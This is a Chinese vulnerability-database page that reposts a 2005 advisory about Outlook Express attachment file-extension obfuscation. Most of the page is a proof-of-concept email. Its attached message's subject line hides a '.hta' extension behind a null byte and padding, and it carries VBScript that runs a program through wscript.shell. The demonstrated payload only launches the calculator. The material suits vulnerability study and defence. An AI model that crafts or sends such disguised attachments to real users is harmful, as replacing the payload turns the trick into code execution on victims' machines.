Microsoft Outlook Express 4.x/5.x/6.0 – Attachment Processing File Extension Obfuscation
漏洞ID | 1055146 | 漏洞类型 | |
发布时间 | 2005-06-01 | 更新时间 | 2005-06-01 |
CVE编号 | N/A |
CNNVD-ID | N/A |
漏洞平台 | Windows | CVSS评分 | N/A |
|漏洞详情
漏洞细节尚未披露
|漏洞EXP
source: http://www.securityfocus.com/bid/13837/info
Microsoft Outlook Express is prone to an attachment file extension obfuscation vulnerability that may present a risk under certain configurations.
The issue manifests due to Microsoft Outlook Express behavior while handling an 'EML' email attachment. If the email attachment does not have a filename, the subject of the attached email message is used as the filename.
Reports indicate that this may be leveraged to make the attached email message executable. It is possible to cause a default file handler to be invoked to process the attached email message. Potentially allowing for code execution.
This issue may lure a victim into a false sense of security and may result in inadvertent or unintentional execution of attacker-supplied code.
===>>> PoC - Start <<<===
From:"Benjamin Tobias Franz"<[email protected]>
To:You
Subject:MSOE - Attachment Download Security Restriction Bypass
Date:Wed, 1 Jun 2005
Content-Type:multipart/mixed;boundary="btf"
--btf
Content-Type: text/plain;
Open the attachment and you will see:
MS OE will not show the correct warning message (for software)
and not the type of the file.
Regards,
Benjamin Tobias Franz
Germany
--btf
Content-Type:message/rfc822
Content-Transfer-Encoding:quoted-printable
<!--
Subject:BTF's MSOE Attachment Download Security Restriction Bypass=
.hta=00.btfbtfbtfbtfbtfbtfbtfbtfbtfbtfbtfbtfbtfbtfbtfbtfbtfbtfbtf=
btfbtfbtfbtfbtfbtfbtfbtfbtfbtfbtfbtfbtfbtfbtfbtfbtfbtfbtfbtfbtfbtf=
btfbtfbtfbtfbtfbtfbtfbtfbtfbtfbtfbtfbtfbtfbtfbtfbtfbtfbtfbtfbtfbtf=
btfbtf
-->
<title>YOU ARE VULNERABLE</title>
<script language=vbscript>set btf=createobject("wscript.shell")=
:btf.run("calc")</script><body style="background-color:red;font-si=
ze:40px;"><b>YOU ARE VULNERABLE!!!</b><br><br><br>Regards,<br><br>
Benjamin Tobias Franz<br>Germany</body>
--btf--
===>>> PoC - End <<<===
相关推荐: SheerDNS CNAME Buffer Overflow Vulnerability
SheerDNS CNAME Buffer Overflow Vulnerability 漏洞ID 1100492 漏洞类型 Boundary Condition Error 发布时间 2003-04-13 更新时间 2003-04-13 CVE编号 N/A …
© 版权声明
文章版权归作者所有,未经允许请勿转载。
THE END
喜欢就支持一下吧
恐龙抗狼扛1年前0
kankan啊啊啊啊3年前0
66666666666666